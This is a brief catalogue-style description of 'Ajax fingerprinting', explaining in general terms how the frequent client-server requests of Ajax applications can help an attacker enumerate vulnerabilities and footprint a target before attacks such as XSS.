This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.